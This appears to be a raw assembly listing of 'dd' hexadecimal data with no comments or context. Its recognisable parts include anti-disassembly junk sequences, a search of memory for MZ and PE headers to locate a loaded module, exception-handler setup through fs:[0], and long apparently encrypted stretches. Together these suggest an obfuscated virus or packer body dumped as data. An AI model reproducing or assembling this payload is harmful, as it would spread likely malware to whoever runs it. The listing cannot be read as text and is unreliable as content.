		dd 83CA37D5h, 1F078DBDh, 840F0006h, 0AAh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0F8C35141h, 0A29D7C59h
		dd 0BBBD305Fh, 0C9BD31D9h, 0B8061F0Ah, 0
		dd 11E9h, 322A2000h, 0E7A33AA1h, 6D25F34h, 0E303382Ah
		dd 8D8D9597h, 61F4DB0h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 42C35141h, 6AE1FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DE938C3h
		dd 8A000000h, 80EEE2F5h, 4ADE3673h, 1C9A1F94h, 6E8h, 0F6A0E600h
		dd 11106ABh, 1F0CF19Dh,	0BD835B06h, 61F137Dh, 8840F00h
		dd 89000004h, 1F1A4195h, 7DBD8306h, 1061F13h, 410840Fh
		dd 85890000h, 61F325Dh,	137DBD83h, 0F03061Fh, 3C786h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D8BC671h, 61F3049h,	6A60E3B7h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 34DFC356h
		dd 4880FF7h, 56000000h,	665B6160h, 6AD98Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0B4D0B2C3h
		dd 4ECC8551h, 0F88B6648h, 8B04E180h, 1F0E7DBDh,	0FC90A06h
		dd 12184h, 0FAB70F00h, 0DC1858Bh, 8B66061Fh, 0C98533F8h
		dd 6A061F2Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 1CEAC353h, 0D2BBE0E9h,	0E837F2EAh
		dd 8, 57D2368Fh, 0F2134FA5h, 326D8D89h,	905B061Fh, 90F98B50h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0DC35040h
		dd 919D8B44h, 6A061F0Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8953697Dh, 1F1D11BDh
		dd 68F55B06h, 52367F2Ch, 0A810Fh, 0F600000h, 81h, 61A7B200h
		dd 0D3243481h, 8B52297Ch, 0A9CF81D8h, 0FF6C4AAFh, 1F2DE195h
		dd 0A8DF8106h, 893CE3A3h, 22B25585h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0A69FB9D6h
		dd 0A712945Fh, 85DBD89h, 2E9061Fh, 6A000002h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0ABE5C350h, 0FC1BD89h, 858B061Fh, 622B24Dh, 0C75B50h
		dd 18h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h
		dd 0E3C35747h, 0DBC0F5E0h, 0B251B58Bh, 858B0622h, 61F13A1h
		dd 6E9F9h, 0EA030000h, 43F608D9h, 6A0689h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D7486FC3h
		dd 484FD4C9h, 0FEBF0F37h, 858B5B51h, 61F0DC1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 15C35343h, 213421C6h
		dd 0BF0F25DAh, 44689FBh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 4C35040h, 57AC8118h, 5239CA8Fh, 5250965Bh
		dd 838B5BBFh, 8B310F37h, 50585ADAh, 0B3525053h,	5A310F46h
		dd 6A965F58h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 2994C352h, 5BED1E46h, 0DF816634h
		dd 0B5FF19C8h, 622B24Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0AC35343h, 0DA45FE77h, 680D86C1h, 72C9FEFh
		dd 7E96057h, 4E000000h,	0CCC97F56h, 0F38B3752h,	34815F61h
		dd 339C1024h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0C48616FCh, 0BD8BA044h, 61F1C45h
		dd 0B255858Dh, 6A0622h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0A481E0C3h, 2BB22E2Ah, 50EB8B9Ch
		dd 6E9h, 5F1D4A00h, 89A7CA85h, 830F2404h, 6, 30E59D23h
		dd 95FF061Fh, 61F2DE1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 82C35646h, 39468A1Bh,	0CCBF61FEh, 0F2DBE16h
		dd 480h, 0EABB6600h, 7D85C742h,	3061F13h, 0F000000h, 184h
		dd 0BD83F800h, 622B255h, 11840F00h, 29000000h, 1F31D595h
		dd 21E906h, 9D290000h, 61F0261h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 3849C350h, 0A127EC58h
		dd 0F723295h, 482h, 55BF6600h, 0D850FB9h, 60000000h, 12D58D29h
		dd 1FBF061Fh, 617DC653h, 0DDDBD89h, 0BD83061Fh,	61F137Dh
		dd 41850F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 3332C356h, 1F24D19Dh
		dd 1D9D2906h, 83061F03h, 22B255BDh, 840F0006h, 40Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 79C35040h, 755FCDEEh
		dd 0E8FCABD4h, 0Ah, 34E5628Bh, 0FD125AC5h, 0BF0FFECEh
		dd 0DF8B5BD9h, 0B255B5FFh, 6A0622h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BF15FC3h
		dd 0C995FFF8h, 6A061F1Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 9F9AC352h, 8BF3DE51h
		dd 1F23B19Dh, 49B58B06h, 6A0622B2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89F6C352h
		dd 1F30B18Dh, 106C706h,	6A000100h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 7BDEC351h
		dd 0C81E3BDBh, 0AD6AFC4Fh, 0EE8h, 395E7500h, 0A4905326h
		dd 9CD3738Bh, 0F5C9DF93h, 96BF505Fh, 8925A72Ah,	6A2434h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD0B91C3h, 61F0DF5h, 1B519D89h, 13E9061Fh, 0C1000000h
		dd 0D7E8DA52h, 0C27A19E9h, 624E4659h, 74D8878Ah, 0B5FF64A1h
		dd 622B255h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	2AC35747h, 0F966C6C0h, 384B03A0h, 162195FFh, 880F061Fh
		dd 2, 0B58B6160h, 622B249h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 9FC35040h, 0CD5FD54Dh, 0FA3636BFh, 0F1858B47h
		dd 6A061F2Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F21C352h, 0FA8BFEBFh,	0E3E78166h
		dd 0C48689F3h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0E9FEC352h,	0A5365842h
		dd 8BFC0438h, 1F0B5D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 60C59896h, 836117B6h
		dd 0FE904C2h, 2B000000h, 36FA0C14h, 0DB8A0E97h,	0FCCCF348h
		dd 5089E3F1h, 0F7805020h, 858D5F6Ah, 622C797h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 9C35242h, 0B8868968h
		dd 8B000000h, 1F16399Dh, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FF06C357h
		dd 22B255B5h, 0B19D8B06h, 0FF061F0Ch, 1F2F5595h, 999D8B06h
		dd 50061F2Dh, 2810F50h,	8B000000h, 34895BFAh, 69858924h
		dd 0FF061F1Ah, 22B255B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0F2183FCEh
		dd 4A50710Dh, 1DBD8BF6h, 0FF061F0Ah, 1F0E1D95h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 89DE6774h, 8BEFF485h, 1F2AB19Dh, 0DE06BB06h,	0BD8378B4h
		dd 61F2C0Dh, 50840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60D1C351h
		dd 7E9h, 5C613700h, 8241D136h, 10E8h, 0BD981E00h, 67DC8E93h
		dd 0CD8A30F6h, 0DA273F43h, 0C99D89ABh, 59061F30h, 34895061h
		dd 799D0924h, 0FF061F1Bh, 22B255B5h, 75950106h,	0FF061F12h
		dd 1F134995h, 29EF8106h, 0FF2F0A1Fh, 22B255B5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0F5C62168h, 8C937BD6h, 0F98B0375h, 107595FFh, 0F98B061Fh
		dd 9BD83h, 0F02061Fh, 2C84h, 6820F00h, 81000000h, 39B7FEF7h
		dd 0BD015327h, 61F1D6Dh, 51858B5Bh, 8B061F17h, 1F12019Dh
		dd 0C606h, 3F15DF81h, 8B663C18h, 9185C7D8h, 61F12h, 8B000000h
		dd 1F1E059Dh, 0DA8B6606h, 0FFF2E0E9h, 319D89FFh, 8B061F14h
		dd 0DABF0FC1h, 0D3000BAh, 0EA81F0h, 83F00000h, 958914C2h
		dd 61F1CE5h, 8D14EA83h,	2438C685h, 0FF645006h, 35h, 25896400h
		dd 0
		dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh
		dd 12h,	3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h
		dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 61F05CDh,	0F3C4003h
		dd 890650B7h, 1F32ED95h, 50508B06h, 2499589h, 0F805061Fh
		dd 8B000000h, 0D1030C50h, 2E4D9589h, 5003061Fh,	0B1958908h
		dd 64061F09h, 58Fh, 0C4830000h,	13E904h, 8B510000h, 8110244Ch
		dd 0B0A9h, 100000h, 0C0335900h,	0F1BD83C3h, 61F20h, 24840Fh
		dd 85C60000h, 61F2025h,	0A7D26847h, 0B5FFD49Ah,	61F3271h
		dd 7993858Dh, 0D0FF0622h, 0D0FF006Ah, 23ED8589h, 0D38B061Fh
		dd 9E8h, 0D5E27200h, 8D94B09Eh,	860FA284h, 27h,	11E8h
		dd 0F70EBA00h, 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h,	0BE90E01h
		dd 0F1000000h, 0CF781E5h, 0E325256Fh, 5E587111h, 0C681F3B5h
		dd 6433h, 68FEB70Fh, 0
		dd 8E9h, 81CFB00h, 5B1BF9C3h, 8B665A2Ah, 3234FFCFh, 5BFBB70Fh
		dd 81FE8B66h, 0F30BABC3h, 5CB8666Fh, 97F38137h,	6649CDCDh
		dd 8183A1BFh, 4B32DC3h,	15890F19h, 0E9000000h, 10h, 5229E8ECh
		dd 7C84A7B2h, 411ACB1Eh, 32AEBD35h, 60161C89h, 8159F857h
		dd 0D906A4C2h, 8166611Ch, 83AAC0E8h, 0FA8104EAh, 0FFFF9CB0h
		dd 19850Fh, 29E90000h, 43000000h, 16719B01h, 0A9B2421h
		dd 31CEE6B7h, 0C38FC64Bh, 668CEE36h, 0E9A1E8B9h, 0FFFFFF7Dh
		dd 314DC37Ch, 3664DE08h, 3893449h, 3A9A8D8Dh, 8B660624h
		dd 5D8D89FAh, 6A061F0Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0CBDEC350h,	0EF98589h
		dd 85C7061Fh, 61F20C5h,	5808h, 1A0D9D89h, 85C7061Fh, 61F137Dh
		dd 0
		dd 7E8h, 4B25BD00h, 2F8A1AAAh, 4810Fh, 0BE660000h, 0FF5874B3h
		dd 1F0F41B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0EFFB6429h, 0F28B528Bh, 5995FF5Eh
		dd 8B061F2Dh, 0E18D89DEh, 6A061F1Eh, 4595FF00h,	8B061F1Dh
		dd 985AEBC0h, 3CC6669Dh, 0A9E3FD79h, 0CA0F8E84h, 4D1B1BB9h
		dd 0DE1A6619h, 6D9C3546h, 4BF21650h, 99CE1E09h,	3F598D53h
		dd 3BB619FDh, 9178C72Bh, 6C63606Ah, 64D570B6h, 28CF16A7h
		dd 50689648h, 1D67495Bh, 97EE631Ah, 0CBCEE0F6h,	9DE7226Ah
		dd 89037E6Bh, 0E812A730h, 0C9F734DFh, 0CF8D8D34h, 5206243Bh
		dd 273DB58Bh, 8B5E061Fh, 1F0F3DB5h, 5D8D8906h, 66061F0Bh
		dd 85C7C28Bh, 61F20C5h,	5928h, 6E9h, 26155400h,	8913D067h
		dd 1F11F58Dh, 7D85C706h, 61F13h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B3B0C351h
		dd 11E929DFh, 74000000h, 3D3D9C25h, 6B2F4154h, 18481A60h
		dd 0BCAADD85h, 1D15B5FFh, 6A061Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0C4C7F7C3h, 6880Fh, 85290000h
		dd 61F09A9h, 2D5995FFh,	6A061Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0CF8195C3h, 7D36AB03h
		dd 95FF006Ah, 61F1D45h,	3BEBC08Bh, 1042712Fh, 4A351AAh
		dd 72845DBEh, 5B0F8512h, 0E079A96Eh, 0FAAB2A2Bh, 0EDCE77Bh
		dd 0ABDCF2C1h, 0CFA0D524h, 20640012h, 0E6505DB2h, 87ED7281h
		dd 0E91A2335h, 55EF6586h, 8DCC4E28h, 243CB88Dh,	0C820F06h
		dd 0F000000h, 68Fh, 5D858900h, 89061F30h, 1F0B5D8Dh, 13E806h
		dd 0FB760000h, 1F2A5721h, 27C57BD0h, 0B91FC9E0h, 1253E8E6h
		dd 69BD035Ch, 58061F07h, 20C585C7h, 5A3C061Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0A5A197C3h, 6631A6A9h, 85C7F88Bh, 61F137Dh, 0
		dd 8FC2D281h, 0DFBF579Fh, 0FF6B893Fh, 1F0749B5h, 0B58B6006h
		dd 61F120Dh, 45BD8B60h,	89061F23h, 1F2685B5h, 0FF616106h
		dd 1F2D5995h, 0FF006A06h, 1F1D4595h, 0EBC08B06h, 6048F20Eh
		dd 0CDE8F011h, 0C3855EA9h, 0E8A877E4h, 8, 405D2238h, 126661E1h
		dd 0C8E0Fh, 870F0000h, 6, 8C0Fh, 665E0000h, 6109EB81h
		dd 6002C681h, 0B9F80000h, 17D6h, 0FFFEBF0Fh, 8F0F36h, 58000000h
		dd 48D0Fh, 0BF660000h, 0C08173FDh, 13315E83h, 299BD0Bh
		dd 0E881061Fh, 5335A644h, 1F3D958Bh, 0C081061Fh, 630034B1h
		dd 28B0Fh, 0FA8B0000h, 0B1B86050h, 894E6882h, 1F2F7DB5h
		dd 68F6106h, 9A99D8Bh, 0EE83061Fh, 12E901h, 5AEC0000h
		dd 8BCB15D3h, 4B730348h, 2B484348h, 0BF522412h,	8B4E4E4Eh
		dd 1F1CF9BDh, 850F4906h, 0FFFFFF87h, 2E15958Bh,	2ADE061Fh
		dd 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh
		dd 5AF19826h, 16EF5E26h, 60338706h, 0E4FFB44Eh,	42F867A5h
		dd 0BEA08714h, 112A0BA3h, 0BA796720h, 2CCD49A3h, 0C2D71B20h
		dd 33338706h, 33831D29h, 0B6C09826h, 3582A5A8h,	0B3D61576h
		dd 63AFBC1Bh, 2A050DD9h, 64839E39h, 59359826h, 0A31F1523h
		dd 634BBC1Bh, 0E261DABh, 0CC039E02h, 2CAF7DB3h,	3C149320h
		dd 336AA1A2h, 0A3B01526h, 639CBC1Bh, 334DAACEh,	0BEF6D826h
		dd 176E0EA3h, 0B624C820h, 35F0A5B6h, 92FF6776h,	0B0338726h
		dd 0B61794E2h, 3569A5B6h, 0B3231576h, 6355BC1Bh, 2A780DD9h
		dd 513D9E39h, 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh
		dd 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh
		dd 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh
		dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h
		dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h
		dd 37A8517Fh, 4D881526h, 0BE9CBC1Bh, 17732BABh,	932020h
		dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h,	0FFFFF285h
		dd 0B3B58DFFh, 8D06243Eh, 243ED28Dh, 83CF2B06h,	0C88B05E9h
		dd 0BE8h, 0FC558B00h, 3216F28h,	0E7919FDAh, 2B1850Bh, 0F5B061Fh
		dd 0C381C1B7h, 66A1h, 680BDA81h, 0F62B4A94h, 34FF53B0h
		dd 5FCAB61Eh, 6840Fh, 8D8B0000h, 61F0B75h, 224FC781h, 0BF0F0509h
		dd 40C781D7h, 8B531686h, 63C781D1h, 0E8141D9Ah,	5, 9A109216h
		dd 58A0F97h, 66000000h,	2468F181h, 8D8B575Ah, 61F11F5h
		dd 2933048Fh, 1F0005BDh, 38A0F06h, 0F000000h, 0EE83D3B7h
		dd 0BFC08004h, 99F0FE81h, 850FFFFFh, 0FFFFFF96h, 1C31858Bh
		dd 13E8061Fh, 56000000h, 0D18FC45Fh, 0B61B8ED8h, 59507625h
		dd 0C495EB64h, 5AFC030Dh, 66BCC281h, 9D8B0000h,	61F0FB9h
		dd 68h,	81665200h, 5B0B9AF1h, 4DB58B58h, 0FF061F14h, 95891034h
		dd 61F1355h, 0A9F1815Fh, 8161993Ch, 603F02C7h, 5E948h
		dd 0D0780000h, 813F6C3Ah, 0F729D6C7h, 81F08B0Dh, 0D8916AC7h
		dd 10E966h, 57490000h, 14D7ED82h, 1D5EB118h, 0F80B2A8Bh
		dd 0F57F147h, 48FF2BFh,	65B58B02h, 0E8061F12h, 6, 531623h
		dd 83591CDFh, 7EB704E8h, 9A18F881h, 850FFFFFh, 18h, 12619D8Bh
		dd 2CE9061Fh, 29000000h, 0C7E22422h, 0D80CB209h, 7BD13083h
		dd 9A74E681h, 70E9671Dh, 71FFFFFFh, 5E6C2BA2h, 665FE892h
		dd 6A0BCCB0h, 0C8805DE2h, 0CB276EB1h, 3D662C23h, 0EA352C4Ah
		dd 2EF67769h, 0BE1170C0h, 591168C8h, 0AE352C5Dh, 0A2F67F0Ah
		dd 8FA8A1C0h, 54532A56h, 616BDBA8h, 20354689h, 0BA352FA1h
		dd 9E680C49h, 8A59A514h, 7371AD4Dh, 0AB35304Dh,	16606949h
		dd 0CAC124DEh, 2EBC702Bh, 53A8A7D9h, 3B33336Ah,	2D2DC6F6h
		dd 4833EDF4h, 0A2402C4Fh, 0CA6491CAh, 9E352A56h, 0FE667C50h
		dd 0BE369489h, 0D8BC2C49h, 0A82A232Ch, 0F891B1C4h, 78CA2A68h
		dd 68B67412h, 0EC2A3318h, 25225849h, 0BE36941Ah, 0D8BC2C49h
		dd 0A82A232Ch, 0FBA6B1C4h, 78CA2A68h, 0D55F7412h, 0EA36C41Eh
		dd 2A152C49h, 0C6BC738Ah, 19B4286Dh, 0AE28286Dh, 722C49h
		dd 0C78BA98Ah, 1602C8CAh, 61EBD317h, 8A0A589h, 0DC333341h
		dd 84BEF4C5h, 6FD9346h,	6CB1234Dh, 0C1352C4Dh, 0D6DD7F49h
		dd 0CA352C49h, 0FC6EEF12h, 3B310815h, 4831080Dh, 0ED352C49h
		dd 0EE32EF1Ah, 815491CAh, 0DA352A56h, 0EA3518CDh, 0FEE5A649h
		dd 0A52865D4h, 5931C54Fh, 0AE5F2C49h, 5736C41Ch, 0F6152C49h
		dd 0B9BC718Ah, 0AEB4286Dh, 752C286Dh, 0EF702C49h, 14E12F8Ah
		dd 0A5BAC143h, 481F49DCh, 8C35924Fh, 0D55F2E49h, 0EA36C41Bh
		dd 2F152C49h, 0EEBC768Ah, 19B4286Dh, 0AE2F286Dh, 5772C49h
		dd 93924A8Ah, 0EEA634DFh, 67CE9346h, 57AF34CCh,	43B8A54Fh
		dd 0A2333353h, 2FB8A599h, 0D2333358h, 0BCB12389h, 0BF352C48h
		dd 0E9DD7E49h, 55352C49h, 336FEF13h, 0DC31081Dh, 0B531080Dh
		dd 15352C49h, 52A2EF1Bh, 0B5340A8Eh, 6B552F19h,	0F732E5BEh
		dd 0BCBA2339h, 0D4352C49h, 0B12CB1F4h, 6FB44D4Fh, 50B44A1Eh
		dd 0D576A946h, 0EA5F2C49h, 7536C419h, 0E2152C49h, 19BC748Ah
		dd 0EAB4286Dh, 572E286Dh, 0FB752C49h, 27BE698Ah, 73DA55E7h
		dd 0E8BC7C4Bh, 0BC2A3ED4h, 5C80A513h, 0C8333358h, 553154C8h
		dd 83B1234Bh, 5E352C4Ah, 0F53775C4h, 4DB44A4Fh,	3F3A4CD5h
		dd 5D352CCFh, 46632C23h, 57352C4Ah, 0F5F67269h,	0D11158C0h
		dd 0EE1168C8h, 75352C5Eh, 1CF67A0Fh, 3B35303Ah,	0D45FEEC8h
		dd 71EEAD2Fh, 0A94DACF2h, 86B023A1h, 80352C49h,	76DD7949h
		dd 9A352C49h, 0D468EF14h, 2F310825h, 4A31080Dh,	0EE352C49h
		dd 0FB60EF1Ch, 84BD2462h, 3C88B231h, 0B4B0A9C0h, 82B42A56h
		dd 0EBE0F671h, 514DAD2Fh, 2E3A8749h, 0D5352C5Fh, 0F8A8A1C2h
		dd 0C8BC2A56h, 0BC2A2ACCh, 5D37BAA0h, 0C8E59349h, 578B03EDh
		dd 2A732D48h, 0CB2BAB92h, 0F2B0A169h, 0FC330ED3h, 0A51EA9F4h
		dd 6EE5D34Fh, 0B12E69DCh, 58F5A94Fh, 0AB3775CDh, 8CD2AC49h
		dd 0D75314C8h, 0F03A2E4Bh, 0BA352C50h, 8290CDC8h, 0D6B42547h
		dd 8084A4Fh, 0E3B12333h, 5C352C4Bh, 0F5078DF4h,	4DB44A4Fh
		dd 3F3A4CD5h, 5D352C14h, 46662C23h, 57352C4Ah, 0F0F67769h
		dd 0D11170C0h, 0EE1168C8h, 75352C5Eh, 54F67F0Ah, 0D629EE06h
		dd 0B13F49C4h, 82A8A74Fh, 2B33336Ah, 0DADD2E31h, 0EA3504CCh
		dd 9EB44A49h, 3B53F5CAh, 9D352A31h, 0AE22A946h,	0DC532C49h
		dd 60B44A90h, 31DC9CB9h, 3352C48h, 75352C4Ch, 4E3C1D95h
		dd 5C35927Ah, 0AE5F5248h, 5736C41Eh, 0F4152C49h, 0A9BC738Ah
		dd 0AEB4286Dh, 7521286Dh, 0ED722C49h, 0D0BE6B8Ah, 0A82A2A5Ch
		dd 0CD2DA9C4h, 1EBC2A6Bh, 0D32A3D10h, 0EA5FFCB6h, 7536C419h
		dd 0E2152C49h, 19BC748Ah, 0EAB4286Dh, 5722286Dh, 0FB752C49h
		dd 6244C68Ah, 0E7A005DEh, 0F033334Ah, 0DDB12389h, 0C352C48h
		dd 0F7E2A72Fh, 0F6B0A729h, 11333351h, 8696EC2Dh, 20DAC28h
		dd 754AA946h, 0BA5F2C49h, 5D36C41Ch, 0F3152C49h, 3BBC718Ah
		dd 0EFB4286Dh, 0D52D286Dh, 0BF702C49h, 6DA8EE8Ah, 0BDDC4889h
		dd 0B8352C49h, 0D7B4A3BDh, 80B49D01h, 0FEC863AFh, 0A63054C9h
		dd 0EA76A946h, 755F2C49h, 0BA36C418h, 4152C49h,	0E2BC758Ah
		dd 13B4286Dh, 0AB29286Dh, 84742C49h, 8A8108Ah, 1142DC8Fh
		dd 0FBCB930h, 5B2A2380h, 3EEB12F6h
		dd 504DAC27h, 43B1231Ah, 0B3352C49h, 61EFE7F0h,	6A20ADF4h
		dd 82B44A4Fh, 0D83A29C6h, 0AE352C8Bh, 0BF672C23h, 0AB352C4Ah
		dd 8FF67669h, 0EE1178C0h, 711168C8h, 0BA352C52h, 41F67E0Bh
		dd 0A1084A4Bh, 0DDA2444Ah, 0AD4DAC97h, 46B02321h, 80352C49h
		dd 76DD7949h, 9A352C49h, 0D468EF14h, 2F310825h,	4A31080Dh
		dd 0EE352C49h, 0A3E7EF1Ch, 0EA02F76Eh, 94FEB79Ah, 0C2B44ABCh
		dd 5210D342h, 0AE354DCCh, 1354649h, 0AB352FA1h,	166B0C49h
		dd 0CE41A517h, 5171AD4Dh, 0BA35374Dh, 9E636A49h, 0E471EDCh
		dd 2168BCCBh, 0AB33AE46h, 58BC2C49h, 0EC2A0200h, 753512A0h
		dd 0E9354649h, 5D352FA1h, 6D6E0C49h, 7369A512h,	8F71AD4Dh
		dd 0D535354Dh, 29666F49h, 0DEBEF09Bh, 37BEA2CCh, 5B2A1D28h
		dd 0AF60B962h, 971E2A56h, 8DC5972Fh, 0D5353FA0h, 0C3A8A749h
		dd 0CD333341h, 0BA352C48h, 0DCA0A729h, 0CF333351h, 0BC2896D9h
		dd 12653543h, 9B8630CEh, 0EA3EC5D9h, 11B32C49h,	7C99F617h
		dd 0C1BE3h, 0E588A12Ch,	0DA330809h, 8F7091C4h, 8016944Fh
		dd 6F365B2Fh, 732A3C9Ch, 92F4E362h, 52485C35h, 0C41EAE5Fh
		dd 2C495736h, 738AF415h, 286DA9BCh, 286DAEB4h, 5E98321h
		dd 8958A4F3h, 1F1161B5h, 0D9BF0F06h, 840FC00Bh,	25h, 146CBA66h
		dd 4DB0B58Dh, 0D78A061Fh, 3B8h,	0C9BD8B00h, 0FF061F06h
		dd 0D8D2BE6h, 29061F1Bh, 1F1D1195h, 800F4006h, 0
		dd 5E9h, 4D64CB00h, 0C08B99BCh,	6860Fh,	8D890000h, 61F2349h
		dd 6C1BD83h, 7500061Fh,	51BD8309h, 61F1Fh, 53501974h, 3B8C08Bh
		dd 89000004h, 1F139585h, 0B9D8D06h, 0FF0621B0h,	83585BD3h
		dd 1F1F51BDh, 17740006h, 3B85350h, 89000004h, 1F139585h
		dd 0AC9D8D06h, 0FF0621ACh, 0B585BD3h, 1F167D8Dh, 0ED958B06h
		dd 8B061F08h, 0ADBD89C0h, 61061F1Ah, 50325820h,	13231C8h
		dd 0C26B1210h, 257EBB51h, 2576B300h, 1322F06h, 0C2637301h
		dd 0F825CC39h, 0B971CA07h, 8CBBF354h, 72D166Dh,	15278783h
		dd 8D54341Bh, 503258DAh, 13231E9h, 0C26B1280h, 257EBB19h
		dd 2576B324h, 1322914h,	0C2637308h, 0C80FE2F5h,	7806CB90h
		dd 1323FE9h, 0E2BEB380h, 1F6E7B6Eh, 1372AA0Bh, 0BCB916ABh
		dd 72D1C7Dh, 0E369A5Bh,	1301386h, 0CCAFBB01h, 82342D93h
		dd 1E1853FDh, 853D3226h, 132321Fh, 5E9F845Eh, 13037EDh
		dd 74BFBB02h, 51342D1Ch, 1322168h, 4B306A40h, 8AEF5E20h
		dd 0AE3C507Ah, 1FF22087h, 87DEBBE3h, 13239EAh, 0AFABA101h
		dd 98580296h, 0DBF96C77h, 5BEBB946h, 2536BB4Fh,	0E9673262h
		dd 1323207h, 5CF16F22h,	5165E88h, 5167601h, 1323256h, 0D7F16765h
		dd 0BCB94A10h, 72D2CE1h, 257E330Bh, 7CA7BBFCh, 59342D30h
		dd 0E96532EAh, 1323243h, 5EF16D00h, 5164E99h, 5167689h
		dd 1323210h, 0B4F16545h, 13222E9h, 1CF06480h, 92F5AE07h
		dd 3FDEB378h, 182C2836h, 5E3E8419h, 0CDBA78Fh, 0C1B1341Dh
		dd 5132582Dh, 1323168h,	0C26A1240h, 2576BB78h, 2576B314h
		dd 132270Ch, 0C2627204h, 9B9D874h, 0E964326Bh, 1323283h
		dd 5FF16C60h, 51646A9h,	5167691h, 132321Ch, 17F16442h
		dd 44B8F2Bh, 7DA341Eh, 0ED323280h, 128B201Eh, 0EFB35494h
		dd 676C56E8h, 0BBCE7A83h, 32FA45Eh, 370BB364h, 84B63DFEh
		dd 82323280h, 0BCB93B81h, 72D26E1h, 6F3B719h, 38B23417h
		dd 0E2B73DEDh, 8A323202h, 44AF3BDEh, 8A342D93h,	0EC843301h
		dd 158FA23h, 131DA46h, 5F123208h, 75BB6CC7h, 45B33626h
		dd 12F3625h, 57743280h,	4A710B83h, 7BDA35D8h, 569F563Bh
		dd 826DEA83h, 15837C5h,	131DA53h, 58123201h, 4DBB6B43h
		dd 45B33664h, 1243604h,	50733210h, 0D2619CBh, 4AA20B85h
		dd 843DB941h, 132327Fh,	67E1B9E6h, 0D1F0E8C1h, 4C82BFADh
